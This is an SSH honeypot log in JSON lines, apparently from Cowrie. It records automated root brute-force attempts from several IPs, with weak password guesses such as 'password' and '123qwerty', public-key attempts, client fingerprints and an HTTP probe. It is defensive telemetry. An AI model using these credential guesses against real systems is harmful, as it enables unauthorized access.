{"eventid":"cowrie.login.failed","username":"root","password":"rp@123","message":"login attempt [root/rp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:36.745646Z","src_ip":"14.55.144.22","session":"c9a5d190197b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:37.976750Z","src_ip":"14.55.144.22","session":"c9a5d190197b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":44322,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff7420fb04f","protocol":"ssh","message":"New connection: 139.19.117.129:44322 (159.203.135.109:22) [session: dff7420fb04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.479970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.483372Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.574585Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.760855Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.762458Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.855725Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:54.858548Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":34202,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6bbcba70e29","protocol":"ssh","message":"New connection: 178.128.39.166:34202 (159.203.135.109:22) [session: d6bbcba70e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:59.501524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:59.509306Z","src_ip":"178.128.39.166","session":"d6bbcba70e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:59.583480Z","src_ip":"178.128.39.166","session":"d6bbcba70e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:59.965745Z","src_ip":"178.128.39.166","session":"d6bbcba70e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:01.131798Z","src_ip":"178.128.39.166","session":"d6bbcba70e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:04.480844Z","src_ip":"139.19.117.129","session":"dff7420fb04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":52080,"dst_ip":"10.17.0.5","dst_port":22,"session":"739ad5e3fb48","protocol":"ssh","message":"New connection: 80.94.92.234:52080 (10.17.0.5:22) [session: 739ad5e3fb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:29.361573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:29.364980Z","src_ip":"80.94.92.234","session":"739ad5e3fb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:29.463030Z","src_ip":"80.94.92.234","session":"739ad5e3fb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty","message":"login attempt [root/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:29.762376Z","src_ip":"80.94.92.234","session":"739ad5e3fb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:30.866575Z","src_ip":"80.94.92.234","session":"739ad5e3fb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.252","src_port":39803,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3677141114d","protocol":"ssh","message":"New connection: 45.79.207.252:39803 (159.203.135.109:22) [session: c3677141114d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:45.496890Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:45.501014Z","src_ip":"45.79.207.252","session":"c3677141114d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:45.503860Z","src_ip":"45.79.207.252","session":"c3677141114d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.44","src_port":42450,"dst_ip":"10.17.0.5","dst_port":22,"session":"2309761ec6ab","protocol":"ssh","message":"New connection: 128.0.104.44:42450 (10.17.0.5:22) [session: 2309761ec6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.033405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.037212Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.176287Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:fe:9c:d1:03:7e:71:2e:ef:99:39:d6:8a:c3:e4:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNAIwXXvZIEGANalgRe6cRJ07NyNby0TDqmofdkQ9yJbR8uomtAbd/faAe2uePBAHvcHSHjoZnVt1rl1SgAD4MUOn8erEKswowX94+voMa1J/6xIZHAdDsGETs5pdBrrlKc94AUFg8AHBmb0vgg2LgfNWGeIykcrvjpl+38Y+WmP6uzcUam6yZbDVVGzxotFZ5Y3R+7gt/cqzpthAyX1k/5QrW43AVBwUDyxQOcwBOcs2S/lXfEsgVY5Au1iSZudKYz4BFqbj/Wni0ZQ3+mXsTjTB8oVbtaxBXG5fnfx3lis7aPiP0pyyNpWgqF9l79taAVx29uh5ehFYqvdddtQp++CpnvtGM42EzErgbO2uI+EEidSGmMSoVTdhFly3udDTmhhrgailTxXiNRzkir9HCWdJIGxMlJD2j3xpxNKMgsagsKLMShlFCbaytZ9pwSyOsQ5sLuZ4Fszzp11kmRXJRbXdkYYwvARQnm/FShW/mJkoZKbgeqbZX8fFxljVQLFR7T3KqTfVCxmgGOL3KI8am5GlQPCFM3kpiqZBFWbo/AvlwlIy9xAN/WUs/gcMA/kxQzAPfd0PGjyJG0kbxyrB1EH9KPxcrRxDISjm1meHUjP0t41Y7h9jkvVg8MSu92KRlUs5+3HoTZjUjMAsg0XwdGDrg5FuEjQE1XH5q8omH9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:fe:9c:d1:03:7e:71:2e:ef:99:39:d6:8a:c3:e4:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.831722Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:fe:9c:d1:03:7e:71:2e:ef:99:39:d6:8a:c3:e4:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNAIwXXvZIEGANalgRe6cRJ07NyNby0TDqmofdkQ9yJbR8uomtAbd/faAe2uePBAHvcHSHjoZnVt1rl1SgAD4MUOn8erEKswowX94+voMa1J/6xIZHAdDsGETs5pdBrrlKc94AUFg8AHBmb0vgg2LgfNWGeIykcrvjpl+38Y+WmP6uzcUam6yZbDVVGzxotFZ5Y3R+7gt/cqzpthAyX1k/5QrW43AVBwUDyxQOcwBOcs2S/lXfEsgVY5Au1iSZudKYz4BFqbj/Wni0ZQ3+mXsTjTB8oVbtaxBXG5fnfx3lis7aPiP0pyyNpWgqF9l79taAVx29uh5ehFYqvdddtQp++CpnvtGM42EzErgbO2uI+EEidSGmMSoVTdhFly3udDTmhhrgailTxXiNRzkir9HCWdJIGxMlJD2j3xpxNKMgsagsKLMShlFCbaytZ9pwSyOsQ5sLuZ4Fszzp11kmRXJRbXdkYYwvARQnm/FShW/mJkoZKbgeqbZX8fFxljVQLFR7T3KqTfVCxmgGOL3KI8am5GlQPCFM3kpiqZBFWbo/AvlwlIy9xAN/WUs/gcMA/kxQzAPfd0PGjyJG0kbxyrB1EH9KPxcrRxDISjm1meHUjP0t41Y7h9jkvVg8MSu92KRlUs5+3HoTZjUjMAsg0XwdGDrg5FuEjQE1XH5q8omH9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.834828Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:71:4a:ee:5f:31:1c:01:75:11:e8:4e:52:87:ff:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINHIklDOO28VdjxSipfBIvg1F1Z5oon2nYfBQgfIC3MP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 31:71:4a:ee:5f:31:1c:01:75:11:e8:4e:52:87:ff:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.979424Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:71:4a:ee:5f:31:1c:01:75:11:e8:4e:52:87:ff:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINHIklDOO28VdjxSipfBIvg1F1Z5oon2nYfBQgfIC3MP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:57.982093Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:d6:7b:e3:0f:76:a4:23:8b:54:97:b8:96:c9:fe:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDO4hHBUl32BIJZI/di/K9jG6FPrg+Sdt7n7/NQPLi1QB6Vd+iD7H9cNUw7sP3wusqOal4QDMgBUI9tr42NoQtq5p2651GIui8YAPnecZamcNmigoqzE2wDOn3dLPjpHizv9Md1OwYLbAVlrrM4Lc1MtmdvA0sKx9FkWE2NgnFuFFUGovTwpkz0X89OCJMwROyI67HeZ8lgT2eLwHBPPn0oLf8HDZ7kVq5WIGuTADXGbXZban4Ddn19ysabcw1uJILTx7OCDZB9twuwKbrYFzUxY23qgEIJi9Yc8KdfrhekSVRPV1Hcq2b3wh4l4Fc6zNI+qy/mza0TDC1IUJokIxesswVqUmYINBBs1OCj9zNa40ZNxRATc1NSMWQZZSs1tfrkz0HZKd3zTw6G/HUjNE4IftxHxr9FwCPAuDn9di5xJuBCk20HzQr6kfheRb6X0fDL91JzE7P9LrstpdOd+jhefqkot9tZorHHFi8qC90+PER0pRImYfAhIg59Rq1myMc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:d6:7b:e3:0f:76:a4:23:8b:54:97:b8:96:c9:fe:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.123950Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:d6:7b:e3:0f:76:a4:23:8b:54:97:b8:96:c9:fe:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDO4hHBUl32BIJZI/di/K9jG6FPrg+Sdt7n7/NQPLi1QB6Vd+iD7H9cNUw7sP3wusqOal4QDMgBUI9tr42NoQtq5p2651GIui8YAPnecZamcNmigoqzE2wDOn3dLPjpHizv9Md1OwYLbAVlrrM4Lc1MtmdvA0sKx9FkWE2NgnFuFFUGovTwpkz0X89OCJMwROyI67HeZ8lgT2eLwHBPPn0oLf8HDZ7kVq5WIGuTADXGbXZban4Ddn19ysabcw1uJILTx7OCDZB9twuwKbrYFzUxY23qgEIJi9Yc8KdfrhekSVRPV1Hcq2b3wh4l4Fc6zNI+qy/mza0TDC1IUJokIxesswVqUmYINBBs1OCj9zNa40ZNxRATc1NSMWQZZSs1tfrkz0HZKd3zTw6G/HUjNE4IftxHxr9FwCPAuDn9di5xJuBCk20HzQr6kfheRb6X0fDL91JzE7P9LrstpdOd+jhefqkot9tZorHHFi8qC90+PER0pRImYfAhIg59Rq1myMc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.126289Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
